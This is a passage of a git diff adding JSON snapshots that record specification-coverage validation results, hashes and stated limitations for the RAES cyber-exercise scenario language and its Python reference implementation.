"profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "81fa1e1f26fd193beabac89376fc86c679096a40b152da5118d292b85c10d075", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "f1c71228beab51c8e55348178a8e37e4ce9c2dd52aefd7f74c5a59ef2425b6e6", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "d5de78222aeb98add7db3171511871ce5a26f2ede77c3d0df03196356de14b04", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims.", + "This capture binds API-404 single-owner store admission and immutable target/run scope to the integrated source. The retained offline protocol does not exercise process leases, SQLite lifecycle ordering, or crash recovery.", + "This capture binds issue #1015 deterministic mixed and staged trial admission to the integrated source. The retained offline language corpus does not execute mixed runtimes, phase transitions, backend handoff, or scheduler-driven realization.", + "This replay binds issue #1186 offline control-plane maintenance, readiness, and bounded audit code to the integrated source. The retained language corpus does not execute store recovery, HTTP health behavior, or audit redaction.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #1016 mixed-runtime coordination is covered by its dedicated runtime suite. The retained language corpus does not execute mixed providers or establish backend-native realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "17400d6b636ae0a0565dda2387f48f331345d7eb", + "snapshot_id": "raes-standardized-specification-coverage-issue-1069-v40", + "snapshot_revision": "40.0.0", + "source_state": { + "base_revision": "17400d6b636ae0a0565dda2387f48f331345d7eb", + "checkout_state": "modified", + "implementation_digest": "74695f384981d36da3958afa45bd835b78e90e0020ea99a5954ad1cffebe39ef", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v44.json b/docs/research/specification-coverage/execution-snapshot-v44.json new file mode 100644 index 000000000..52eaec6c6 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v44.json @@ -0,0 +1,700 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-21T14:17:49.607197+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own organization ownership, participant assignment, targets, windows, and assertion-based success; measures remain experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Owner, participant assignment, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "945267796770238855d21a75e9da35f74791edbe1b0b72d544cdb94a12f01b12", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "4999b8adf294f364a758bc9cf78816d5da9eae1c263ae678eabe4d0e2c82dec6", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "9ecd780448b054693503bab246120a1a2bb49a43016d0b9c27c5284ba609833f", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims.", + "This capture binds API-404 single-owner store admission and immutable target/run scope to the integrated source. The retained offline protocol does not exercise process leases, SQLite lifecycle ordering, or crash recovery.", + "This capture binds issue #1015 deterministic mixed and staged trial admission to the integrated source. The retained offline language corpus does not execute mixed runtimes, phase transitions, backend handoff, or scheduler-driven realization.", + "This replay binds issue #1186 offline control-plane maintenance, readiness, and 